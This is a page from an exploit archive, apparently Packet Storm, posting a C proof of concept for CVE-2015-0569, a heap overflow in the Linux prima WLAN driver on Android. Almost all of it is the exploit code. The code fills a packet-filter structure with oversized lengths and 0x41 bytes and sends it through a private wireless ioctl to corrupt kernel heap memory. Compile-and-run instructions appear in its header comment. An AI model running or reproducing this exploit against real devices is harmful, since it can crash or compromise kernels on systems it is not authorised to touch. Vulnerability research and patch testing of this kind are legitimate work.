what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel prima WLAN Driver Heap Overflow

Linux Kernel prima WLAN Driver Heap Overflow
Posted Jan 25, 2016
Authored by Shawn the R0ck

The Linux prima WLAN driver suffers from a heap overflow vulnerability.

tags | exploit, overflow
systems | linux
advisories | CVE-2015-0569
SHA-256 | 42f77c96c79b5f34870a10d56508b7bfe738f47704af55a41749f1fe7d3b3a57

Linux Kernel prima WLAN Driver Heap Overflow

Change Mirror Download
/*
* Coder: Shawn the R0ck, [citypw@gmail.com]
* Co-worker: Pray3r, [pray3r.z@gmail.com]
* Compile:
* # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT -pie
* # ./a.out wlan0
* Boom......shit happens[ as always];-)
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;
#define HDD_MAX_CMP_PER_PACKET_FILTER 5

struct PacketFilterParamsCfg {
v_U8_t protocolLayer;
v_U8_t cmpFlag;
v_U8_t dataOffset;
v_U8_t dataLength;
v_U8_t compareData[8];
v_U8_t dataMask[8];
};

typedef struct {
v_U8_t filterAction;
v_U8_t filterId;
v_U8_t numParams;
struct PacketFilterParamsCfg
paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
{
if (argc != 2) {
fprintf(stderr, "Bad usage\n");
fprintf(stderr, "Usage: %s ifname\n", argv[0]);
return -1;
}

struct iwreq req;
strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
int fd, status, i = 0;
fd = socket(AF_INET, SOCK_DGRAM, 0);
tPacketFilterCfg p_req;

/* crafting a data structure to triggering the code path */
req.u.data.pointer =
malloc(sizeof(v_U8_t) * 3 +
sizeof(struct PacketFilterParamsCfg) * 5);
p_req.filterAction = 1;
p_req.filterId = 0;
p_req.numParams = 3;
for (; i < 5; i++) {
p_req.paramsData[i].dataLength = 241;
memset(&p_req.paramsData[i].compareData, 0x41, 16);
}

memcpy(req.u.data.pointer, &p_req,
sizeof(v_U8_t) * 3 +
sizeof(struct PacketFilterParamsCfg) * 5);

if (ioctl(fd, 0x8bf7, &req) == -1) {
fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
argv[1], strerror(errno));
} else {
printf("You shouldn't see this msg...\n");
}

}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close